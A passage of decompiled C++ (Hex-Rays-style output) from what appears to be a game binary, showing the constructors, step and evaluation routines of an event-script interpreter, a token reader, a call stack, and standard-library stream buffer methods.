*this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->e_Term.t_Atom = 0; this->e_Term.t_Term = 0; this->e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->e_Oper.co_Oper.pst_Buffer[0] = 0; this->e_Oper.co_OperType = 0; this->e_Express = 0; } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (00499EB0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Express::_Express(PineEventScriptNode::Express *this) { PineEventScriptNode::Express *v1; // esi@1 PineEventScriptNode::Express *v2; // edi@1 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; v2 = this->e_Express; if ( v2 ) { PineEventScriptNode::Express::_Express(v2); operator delete(v2); } v1->e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; PineEventScriptNode::Term::_Term(&v1->e_Term); v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (00499F30) -------------------------------------------------------- void __thiscall PineEventScriptNode::Condition::Condition(PineEventScriptNode::Condition *this) { this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Condition::_vftable_; this->c_Left.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->c_Left.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->c_Left.e_Term.t_Atom = 0; this->c_Left.e_Term.t_Term = 0; this->c_Left.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->c_Left.e_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Left.e_Oper.co_OperType = 0; this->c_Left.e_Express = 0; this->c_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CompareOperator::_vftable_; this->c_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Oper.co_OperType = 0; this->c_Right.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; this->c_Right.e_Term.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; this->c_Right.e_Term.t_Atom = 0; this->c_Right.e_Term.t_Term = 0; this->c_Right.e_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; this->c_Right.e_Oper.co_Oper.pst_Buffer[0] = 0; this->c_Right.e_Oper.co_OperType = 0; this->c_Right.e_Express = 0; } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B0F3C: using guessed type int (__thiscall *PineEventScriptNode__CompareOperator___vftable_)(PineEventScriptNode::CompareOperator *this, int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5B1178: using guessed type int (__stdcall *PineEventScriptNode__Condition___vftable_)(int tr); //----- (00499FC0) -------------------------------------------------------- void __thiscall PineEventScriptNode::Condition::_Condition(PineEventScriptNode::Condition *this) { PineEventScriptNode::Condition *v1; // esi@1 v1 = this; this->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Condition::_vftable_; PineEventScriptNode::Express::_Express(&this->c_Right); v1->c_Oper.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; PineEventScriptNode::Express::_Express(&v1->c_Left); v1->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); // 5B1178: using guessed type int (__stdcall *PineEventScriptNode__Condition___vftable_)(int tr); //----- (0049A030) -------------------------------------------------------- void __thiscall PineEventScriptNode::StateIf::StateIf(PineEventScriptNode::StateIf *this) { PineEventScriptNode::StateIf *v1; // esi@1 v1 = this; this->baseclass_0.baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition(&this->si_Condition); v1->si_False = 0; v1->si_True = 0; } // 5B1188: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); //----- (0049A060) -------------------------------------------------------- PineEventScriptNode::Block *__thiscall PineEventScriptNode::Script::sa_FindBlock(PineEventScriptNode::Script *this, PineScriptToken *blkname) { List *v2; // edi@1 ListStruct *v3; // ecx@1 unsigned __int16 v4; // ax@1 unsigned __int16 i; // bx@1 int v6; // eax@3 int v7; // ebp@4 v2 = this->s_BlockList; v3 = v2->l_Array; v4 = v3[v2->l_Finger.store].ls_Next; for ( i = v3[v3[v2->l_Finger.store].ls_Next].ls_Next; v4 < v2->l_MaxSize; i = v2->l_Array[i].ls_Next ) { v6 = (int)&v2->l_Array[v4]; if ( !*(_BYTE *)(v6 + 8) ) break; v7 = *(_DWORD *)v6; if ( !*(_DWORD *)v6 ) break; if ( blkname && !strcmp((const char *)(v7 + 12), blkname->pst_Buffer) ) return (PineEventScriptNode::Block *)v7; if ( i >= v2->l_MaxSize ) break; v4 = i; } return 0; } //----- (0049A110) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateIf::sb_CloneMe(PineEventScriptNode::StateIf *this) { void *v1; // eax@1 void *v2; // esi@1 PineEventScriptNode::StatementBase *result; // eax@2 v1 = operator new(0x350u); v2 = v1; if ( v1 ) { *(_DWORD *)v1 = &PineEventScriptNode::StateIf::_vftable_; PineEventScriptNode::Condition::Condition((PineEventScriptNode::Condition *)((char *)v1 + 4)); *((_DWORD *)v2 + 211) = 0; *((_DWORD *)v2 + 210) = 0; result = (PineEventScriptNode::StatementBase *)v2; } else { result = 0; } return result; } // 5B1188: using guessed type int (__stdcall *PineEventScriptNode__StateIf___vftable_)(int tr); //----- (0049A150) -------------------------------------------------------- PineEventScriptNode::StatementBase *__thiscall PineEventScriptNode::StateCall::sb_CloneMe(PineEventScriptNode::StateCall *this) { PineEventScriptNode::StatementBase *result; // eax@1 result = (PineEventScriptNode::StatementBase *)operator new(0x124u); if ( result ) { result->baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::StateCall::_vftable_; result[1].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Express::_vftable_; result[2].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::Term::_vftable_; result[4].baseclass_0.vfptr = 0; result[3].baseclass_0.vfptr = 0; result[5].baseclass_0.vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::CalculateOperator::_vftable_; LOBYTE(result[6].baseclass_0.vfptr) = 0; result[70].baseclass_0.vfptr = 0; result[71].baseclass_0.vfptr = 0; result[72].baseclass_0.vfptr = 0; } else { result = 0; } return result; } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); // 5B119C: using guessed type int (__stdcall *PineEventScriptNode__StateCall___vftable_)(int tr); //----- (0049A1A0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Script::sa_Step(PineEventScriptNode::Script *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int v4; // eax@2 char v5; // dl@3 PineEventScriptNode::ScriptAtom *v6; // eax@4 int v8; // edx@6 int v9; // edx@7 int v10; // eax@8 PineScriptToken mn; // [sp+4h] [bp-104h]@3 if ( *ip ) { v10 = ps->ps_StackPoint; if ( v10 ) { ps->ps_StackPoint = v10 - 1; return 1; } return 0; } v4 = (int)"main"; do { v5 = *(_BYTE *)v4; *(_BYTE *)((char *)&mn - "main" + v4) = *(_BYTE *)v4; ++v4; } while ( v5 ); v6 = (PineEventScriptNode::ScriptAtom *)PineEventScriptNode::Script::sa_FindBlock(this, &mn); if ( !v6 ) return 0; *ip = 1; v8 = ps->ps_StackPoint; if ( (unsigned int)v8 >= 0x1F ) return 0; v9 = v8 + 1; ps->ps_StackPoint = v9; ps->ps_Stack[v9].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v6; return 1; } //----- (0049A280) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Block::sa_Step(PineEventScriptNode::Block *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int *v4; // ebx@1 PineEventScriptNode::Block *v5; // edi@1 PineEventScriptNode::ScriptAtom *v6; // eax@3 int v7; // edi@4 int v8; // eax@5 int v10; // ecx@7 int v11; // ecx@9 v4 = ip; v5 = this; if ( !*ip ) this->b_VarStackPoint = ps->ps_VarStack.vs_StackPoint; v6 = (PineEventScriptNode::ScriptAtom *)List::l_GetInList( (List *)this->b_StatementList, *(_WORD *)v4, (unsigned __int16 *)&ip); if ( !v6 ) { v7 = v5->b_VarStackPoint; if ( v7 >= 0 ) { v8 = ps->ps_StackPoint; ps->ps_VarStack.vs_StackPoint = v7; if ( v8 ) { ps->ps_StackPoint = v8 - 1; return 1; } } return 0; } ++*v4; v10 = ps->ps_StackPoint; if ( (unsigned int)v10 >= 0x1F ) return 0; v11 = v10 + 1; ps->ps_StackPoint = v11; ps->ps_Stack[v11].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v6; return 1; } //----- (0049A320) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Step(PineEventScriptNode::Statement *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ScriptAtom *v4; // edx@2 int v5; // ecx@2 int v6; // ecx@3 int v8; // eax@4 if ( !*ip ) { *ip = 1; v4 = this->s_Statement; v5 = ps->ps_StackPoint; if ( (unsigned int)v5 < 0x1F ) { v6 = v5 + 1; ps->ps_StackPoint = v6; ps->ps_Stack[v6].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = v4; return 1; } return 0; } v8 = ps->ps_StackPoint; if ( !v8 ) return 0; ps->ps_StackPoint = v8 - 1; return 1; } //----- (0049A390) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateInfinite::sa_Step(PineEventScriptNode::StateInfinite *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { int v4; // edx@1 unsigned __int16 result; // ax@2 int v6; // edx@3 v4 = ps->ps_StackPoint; if ( (unsigned int)v4 < 0x1F ) { v6 = v4 + 1; ps->ps_StackPoint = v6; ps->ps_Stack[v6].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = (PineEventScriptNode::ScriptAtom *)&this->si_Block; result = 1; } else { result = 0; } return result; } //----- (0049A3D0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateWhile::sa_Step(PineEventScriptNode::StateWhile *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateWhile *v4; // edi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@1 PineScriptToken *v6; // eax@1 bool v7; // zf@1 int v8; // eax@1 int v10; // eax@6 PineScriptToken tmp; // [sp+8h] [bp-104h]@1 v4 = this; v5 = this->sw_Condition.baseclass_0.vfptr; tmp.pst_Buffer[0] = 0; v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &tmp, ps); v7 = PineScriptToken::pst_GetNumber(v6, 0) == 0; v8 = ps->ps_StackPoint; if ( !v7 ) { if ( (unsigned int)v8 < 0x1F ) { v10 = v8 + 1; ps->ps_StackPoint = v10; ps->ps_Stack[v10].ip = 0; ps->ps_Stack[ps->ps_StackPoint].node = (PineEventScriptNode::ScriptAtom *)&v4->sw_Block; return 1; } return 0; } if ( !v8 ) return 0; ps->ps_StackPoint = v8 - 1; return 1; } //----- (0049A480) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StateIf::sa_Step(PineEventScriptNode::StateIf *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::StateIf *v4; // esi@1 PineEventScriptNode::ScriptAtomVtbl *v5; // eax@2 PineScriptToken *v6; // eax@2 PineEventScriptNode::ScriptAtom *v7; // esi@3 int v8; // eax@6 PineScriptToken tmp; // [sp+8h] [bp-104h]@2 v4 = this; if ( *ip || ((*ip = 1, v5 = this->si_Condition.baseclass_0.vfptr, tmp.pst_Buffer[0] = 0, v6 = (PineScriptToken *)((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->sa_Calculate)( &tmp, ps), !PineScriptToken::pst_GetNumber(v6, 0)) ? (v7 = v4->si_False) : (v7 = v4->si_True), !v7) ) { v8 = ps->ps_StackPoint; if ( v8 ) { ps->ps_StackPoint = v8 - 1; LOWORD(v8) = 1; } } else { LOWORD(v8) = PineScriptStack::ProcessStack::ps_Push(ps, v7); } return v8; } //----- (0049A550) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::StatePrint::sa_Step(PineEventScriptNode::StatePrint *this, int exechandle, PineScriptStack::ProcessStack *ps, int *ip) { PineEventScriptNode::ScriptAtomVtbl *v4; // eax@1 int v5; // eax@1 PineScriptToken prnt; // [sp+4h] [bp-104h]@1 v4 = this->baseclass_0.sbe_Express.baseclass_0.vfptr; prnt.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sa_Calculate)(&prnt, ps); v5 = ps->ps_StackPoint; if ( v5 ) { ps->ps_StackPoint = v5 - 1; LOWORD(v5) = 1; } return v5; } //----- (0049A5C0) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Express::sa_Load(PineEventScriptNode::Express *this, PineScriptReader::TokenReader *tr) { PineEventScriptNode::Express *v2; // esi@1 unsigned __int16 result; // ax@1 void *v4; // eax@4 v2 = this; result = this->e_Term.baseclass_0.vfptr->sa_Load(&this->e_Term, tr); if ( result ) { if ( (unsigned __int16)v2->e_Oper.baseclass_0.vfptr->sa_Load(&v2->e_Oper, tr) ) { v4 = operator new(0x11Cu); if ( v4 ) { *(_DWORD *)v4 = &PineEventScriptNode::Express::_vftable_; *((_DWORD *)v4 + 3) = 0; *((_DWORD *)v4 + 2) = 0; *((_DWORD *)v4 + 1) = &PineEventScriptNode::Term::_vftable_; *((_DWORD *)v4 + 4) = &PineEventScriptNode::CalculateOperator::_vftable_; *((_BYTE *)v4 + 20) = 0; *((_DWORD *)v4 + 69) = 0; *((_DWORD *)v4 + 70) = 0; v2->e_Express = (PineEventScriptNode::Express *)v4; result = (**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, tr); } else { v2->e_Express = 0; result = (*(int (__thiscall **)(_DWORD, _DWORD))v0)(0, tr); } } else { result = 1; } } return result; } // 5B0F2C: using guessed type int (__stdcall *PineEventScriptNode__CalculateOperator___vftable_)(int tr); // 5B1004: using guessed type int (__stdcall *PineEventScriptNode__Term___vftable_)(int tr); // 5B1168: using guessed type int (__stdcall *PineEventScriptNode__Express___vftable_)(int tr); //----- (0049A660) -------------------------------------------------------- unsigned __int16 __thiscall PineEventScriptNode::Statement::sa_Load(PineEventScriptNode::Statement *this, PineScriptReader::TokenReader *tr) { int v2; // eax@1 PineEventScriptNode::Statement *v3; // esi@1 int v4; // eax@2 PineEventScriptNode::ScriptAtom *v5; // eax@3 void *v6; // ST00_4@4 v2 = ps_statementlist.sl_Point; v3 = this; while ( 1 ) { ps_statementlist.sl_Pnt = v2 - 1; v4 = ((int (*)(void))ps_statementlist.sl_Array[v2 - 1]->baseclass_0.vfptr[1].sa_Load)(); v3->s_Statement = (PineEventScriptNode::ScriptAtom *)v4; if ( (unsigned __int16)(**(int (__thiscall ***)(_DWORD, _DWORD))v4)(v4, tr) ) break; v5 = v3->s_Statement; if ( v5 ) { v6 = v3->s_Statement; v5->vfptr = (PineEventScriptNode::ScriptAtomVtbl *)&PineEventScriptNode::ScriptAtom::_vftable_; operator delete(v6); } v2 = ps_statementlist.sl_Pnt; if ( !ps_statementlist.sl_Pnt ) return 0; } return 1; } // 5B0F1C: using guessed type int (*PineEventScriptNode__ScriptAtom___vftable_)(); //----- (0049A6C0) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Express::sa_Calculate(PineEventScriptNode::Express *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Express *v3; // esi@1 PineScriptToken *result; // eax@3 PineEventScriptNode::Express *v5; // ecx@4 PineScriptToken tmp; // [sp+10h] [bp-104h]@4 v3 = this; if ( ((int (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))this->e_Term.baseclass_0.vfptr->sa_Calculate)( buffer, ps) ) { if ( v3->e_Express ) { v5 = v3->e_Express; tmp.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v5->baseclass_0.vfptr->sa_Calculate)( &tmp, ps); switch ( v3->e_Oper.co_OperType ) { case 9: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xA: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xB: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xC: result = PineScriptToken::operator__(buffer, &tmp); break; case 0xD: result = PineScriptToken::pst_Merge(buffer, &tmp); break; default: goto LABEL_10; } } else { result = buffer; } } else { LABEL_10: result = 0; } return result; } //----- (0049A830) -------------------------------------------------------- PineScriptToken *__thiscall PineEventScriptNode::Condition::sa_Calculate(PineEventScriptNode::Condition *this, PineScriptToken *buffer, PineScriptStack::ProcessStack *ps) { PineEventScriptNode::Condition *v3; // esi@1 PineEventScriptNode::ScriptAtomVtbl *v4; // eax@1 int v5; // esi@2 int v6; // eax@2 PineScriptToken *result; // eax@2 int v8; // esi@3 int v9; // eax@3 int v10; // esi@4 int v11; // eax@4 int v12; // esi@5 int v13; // eax@5 int v14; // esi@6 int v15; // eax@6 int v16; // esi@7 int v17; // eax@7 unsigned __int16 v18; // ax@8 unsigned __int16 v19; // ax@9 PineScriptToken right; // [sp+10h] [bp-204h]@1 PineScriptToken left; // [sp+110h] [bp-104h]@1 v3 = this; v4 = this->c_Left.baseclass_0.vfptr; left.pst_Buffer[0] = 0; right.pst_Buffer[0] = 0; ((void (__stdcall *)(PineScriptToken *, PineScriptStack::ProcessStack *))v4->sa_Calculate)(&left, ps); v3->c_Right.baseclass_0.vfptr->sa_Calculate((PineEventScriptNode::ScriptAtom *)&v3->c_Right, &right, ps); buffer->pst_Buffer[0] = 0; switch ( v3->c_Oper.co_OperType ) { case 1: v5 = PineScriptToken::pst_GetNumber(&right, 0); v6 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v6 == v5); break; case 2: v8 = PineScriptToken::pst_GetNumber(&right, 0); v9 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v9 != v8); break; case 3: v10 = PineScriptToken::pst_GetNumber(&right, 0); v11 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v11 < v10); break; case 4: v12 = PineScriptToken::pst_GetNumber(&right, 0); v13 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v13 > v12); break; case 5: v14 = PineScriptToken::pst_GetNumber(&right, 0); v15 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v15 <= v14); break; case 6: v16 = PineScriptToken::pst_GetNumber(&right, 0); v17 = PineScriptToken::pst_GetNumber(&left, 0); result = PineScriptToken::pst_MergeNumber(buffer, v17 >= v16); break; case 7: v18 = PineScriptToken::operator__(&left, right.pst_Buffer); result = PineScriptToken::pst_MergeNumber(buffer, v18); break; case 8: v19 = PineScriptToken::operator__(&left, right.pst_Buffer); result = PineScriptToken::pst_MergeNumber(buffer, v19); break; default: result = 0; break; } return result; } //----- (0049AAD0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadNumber(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *i; // esi@1 signed int v3; // edx@2 int v4; // edx@10 PineScriptToken *result; // eax@12 for ( i = this; ; ++i->tr_BufPnt ) { v3 = i->tr_CharReader.cr_UngetBuffer; if ( v3 == -1 ) v3 = PineScriptReader::CharacterReader::cr_GetCh(&i->tr_CharReader); else i->tr_CharReader.cr_UngetBuffer = -1; if ( v3 == -1 || v3 <= 32 ) goto LABEL_12; if ( v3 < 48 || v3 > 57 ) break; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = v3; } if ( PineScriptReader::TokenReader::tr_IsOper(i, v3) ) { i->tr_CharReader.cr_UngetBuffer = v4; LABEL_12: result = tkn; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = 0; memcpy(tkn, &i->tr_Buffer, 0x100u); return result; } i->tr_ErrCode = "Number read fail"; return 0; } //----- (0049AB60) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptReader::TokenReader::tr_ReadIdent(PineScriptReader::TokenReader *this, PineScriptToken *tkn) { PineScriptReader::TokenReader *i; // esi@1 int v3; // eax@2 PineScriptToken *result; // eax@16 for ( i = this; ; ++i->tr_BufPnt ) { v3 = i->tr_CharReader.cr_UngetBuffer; if ( v3 == -1 ) v3 = PineScriptReader::CharacterReader::cr_GetCh(&i->tr_CharReader); else i->tr_CharReader.cr_UngetBuffer = -1; if ( v3 == -1 || v3 < 32 ) break; if ( (v3 < 48 || v3 > 57) && (v3 < 65 || v3 > 90) && (v3 < 97 || v3 > 122) && v3 != 95 ) { i->tr_CharReader.cr_UngetBuffer = v3; break; } i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = v3; } result = tkn; i->tr_Buffer.pst_Buffer[i->tr_BufPnt] = 0; memcpy(tkn, &i->tr_Buffer, 0x100u); return result; } //----- (0049ABF0) -------------------------------------------------------- void __thiscall PineEventScriptNode::StatementList::_StatementList(PineEventScriptNode::StatementList *this) { PineEventScriptNode::StatementList *v1; // edi@1 int i; // esi@1 PineEventScriptNode::CompareOperator *v3; // ecx@2 void *v4; // ecx@3 v1 = this; for ( i = 0; i < v1->sl_Point; ++i ) { v3 = (PineEventScriptNode::CompareOperator *)v1->sl_Array[i]; if ( v3 ) { PineEventScriptNode::CalculateOperator::_CalculateOperator(v3); operator delete(v4); } } } //----- (0049AC30) -------------------------------------------------------- void __thiscall PineScriptStack::ProcessStack::ProcessStack(PineScriptStack::ProcessStack *this) { PineScriptStack::ProcessStack *v1; // esi@1 v1 = this; _eh_vector_constructor_iterator_( &this->ps_VarStack, 0x200u, 128, (void (__thiscall *)(void *))PineScriptStack::VariableStack::VarArray::VarArray, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); v1->ps_ScriptName.pst_Buffer[0] = 0; *(_DWORD *)&v1->gap10114[20] = 0; *(_DWORD *)&v1->gap10114[16] = 0; } //----- (0049AC70) -------------------------------------------------------- unsigned __int16 __thiscall PineScriptStack::ProcessStack::ps_ExitBlock(PineScriptStack::ProcessStack *this, PineScriptToken *exitblock) { PineScriptStack::ProcessStack *v2; // esi@1 int v3; // eax@2 int v4; // eax@3 unsigned __int16 result; // ax@4 v2 = this; if ( (unsigned __int16)((int (__stdcall *)(_DWORD))this->ps_Stack[this->ps_StackPoint].node->vfptr->sa_BlockNameCheck)(exitblock) ) { LABEL_4: v2->ps_Stack[v2->ps_StackPoint].ip = 9999; result = 1; } else { while ( 1 ) { v3 = v2->ps_StackPoint; if ( !v3 ) break; v4 = v3 - 1; v2->ps_StackPoint = v4; if ( (unsigned __int16)((int (__stdcall *)(_DWORD))v2->ps_Stack[v4].node->vfptr->sa_BlockNameCheck)(exitblock) ) goto LABEL_4; } result = 0; } return result; } //----- (0049ACD0) -------------------------------------------------------- PineScriptToken *__thiscall PineScriptStack::ProcessStack::ps_FindVariable(PineScriptStack::ProcessStack *this, PineScriptToken *varname) { PineScriptStack::ProcessStack *v2; // esi@1 PineScriptToken *result; // eax@4 v2 = this; if ( !(_S90_1 & 1) ) { _S90_1 |= 1u; deftkn.pst_Buffer[0] = 0; atexit(_E91_1); } if ( varname ) { result = PineScriptStack::VariableStack::vs_FindVariable(&v2->ps_VarStack, varname); if ( !result ) result = &deftkn; } else { AssertClass::ac_AssertFail(&shineassert, "Null variable", byte_59A24E); result = &deftkn; } return result; } //----- (0049AD50) -------------------------------------------------------- void __thiscall std::basic_streambuf>::_basic_streambuf>(std::basic_streambuf > *this) { std::basic_streambuf > *v1; // ebx@1 void *v2; // edi@1 int v3; // esi@2 unsigned int v4; // eax@3 int v5; // esi@6 std::_Lockit thisa; // [sp+0h] [bp-4h]@1 thisa._Locktype = (int)this; v1 = this; v2 = (void *)this->_Plocale; this->vfptr = (std::basic_streambuf >Vtbl *)&std::basic_streambuf>::_vftable_; if ( v2 ) { v3 = *(_DWORD *)v2; if ( *(_DWORD *)v2 ) { std::_Lockit::_Lockit(&thisa, 0); v4 = *(_DWORD *)(v3 + 4); if ( v4 && v4 < 0xFFFFFFFF ) *(_DWORD *)(v3 + 4) = v4 - 1; v5 = ((*(_DWORD *)(v3 + 4) != 0) - 1) & v3; std::_Lockit::__Lockit(&thisa); if ( v5 ) (**(void (__thiscall ***)(_DWORD, _DWORD))v5)(v5, 1); } operator delete(v2); } std::_Mutex::__Mutex(&v1->_Mylock); } // 5B11DC: using guessed type int (__thiscall *std__basic_streambuf_char_std__char_traits_char_____vftable_)(void *p, char); //----- (0049AE00) -------------------------------------------------------- int __thiscall std::basic_streambuf>::xsgetn(std::basic_streambuf > *this, char *_Ptr, int _Count) { int v3; // edi@1 int result; // eax@1 std::basic_streambuf > *v5; // ebx@1 void *v6; // ebp@2 const void *v7; // esi@3 unsigned int v8; // eax@4 int v9; // eax@8 int _Copied; // [sp+0h] [bp-4h]@1 v3 = _Count; result = 0; v5 = this; _Copied = 0; if ( _Count > 0 ) { v6 = _Ptr; do { v7 = *v5->_IGnext; if ( v7 && (v8 = *v5->_IGcount, (signed int)v8 > 0) ) { if ( v3 < (signed int)v8 ) v8 = v3; memcpy(v6, v7, v8); _Copied += v8; *v5->_IGcount -= v8; v3 = _Count - v8; v6 = (char *)v6 + v8; _Count -= v8; *v5->_IGnext += v8; } else { v9 = v5->vfptr->uflow(v5); if ( v9 == -1 ) break; *(_BYTE *)v6 = v9; v6 = (char *)v6 + 1; --v3; ++_Copied; _Count = v3; } } while ( v3 > 0 ); result = _Copied; } return result; } //----- (0049AEA0) -------------------------------------------------------- int __thiscall std::basic_streambuf>::xsputn(std::basic_streambuf > *this, const char *_Ptr, int _Count) { int v3; // esi@1 int result; // eax@1 std::basic_streambuf > *v5; // ebx@1 const void *v6; // ebp@2 void *v7; // edi@3 unsigned int v8; // eax@4 int _Copied; // [sp+4h] [bp-4h]@1 v3 = _Count; result = 0; v5 = this; _Copied = 0; if ( _Count > 0 ) { v6 = _Ptr; do { v7 = *v5->_IPnext; if ( v7 && (v8 = *v5->_IPcount, (signed int)v8 > 0) ) { if ( v3 < (signed int)v8 ) v8 = v3; memcpy(v7, v6, v8); _Copied += v8; *v5->_IPcount -= v8; v6 = (char *)v6 + v8; _Count -= v8; *v5->_IPnext += v8; v3 = _Count; } else { if ( v5->vfptr->overflow(v5, *(_BYTE *)v6) == -1 ) break; v6 = (char *)v6 + 1; --v3; ++_Copied; _Count = v3; } } while ( v3 > 0 ); result = _Copied; } return result; } //----- (0049AF50) -------------------------------------------------------- std::fpos *__thiscall std::basic_streambuf>::seekoff(std::basic_streambuf > *this, std::fpos *result, int __formal, int a4, int a5) { std::fpos *v5; // eax@1 v5 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v5; } // 5DBBDC: using guessed type const __int32 std___BADOFF; // 12441B44: using guessed type int std__fpos_int____Stz; // 1466CC10: using guessed type __int64 std___Fpz; //----- (0049AF80) -------------------------------------------------------- std::fpos *__thiscall std::basic_streambuf>::seekpos(std::basic_streambuf > *this, std::fpos *result, std::fpos __formal, int a4) { std::fpos *v4; // eax@1 v4 = result; result->_Myoff = std::_BADOFF; result->_Fpos = std::_Fpz; result->_Mystate = std::fpos::_Stz; return v4; } // 5DBBDC: using guessed type const __int32 std___BADOFF; // 12441B44: using guessed type int std__fpos_int____Stz; // 1466CC10: using guessed type __int64 std___Fpz; //----- (0049AFB0) -------------------------------------------------------- void __thiscall std::basic_stringbuf_std::allocator>::_basic_stringbuf_std::allocator>(std::basic_stringbuf,std::allocator > *this) { std::basic_streambuf > *v1; // 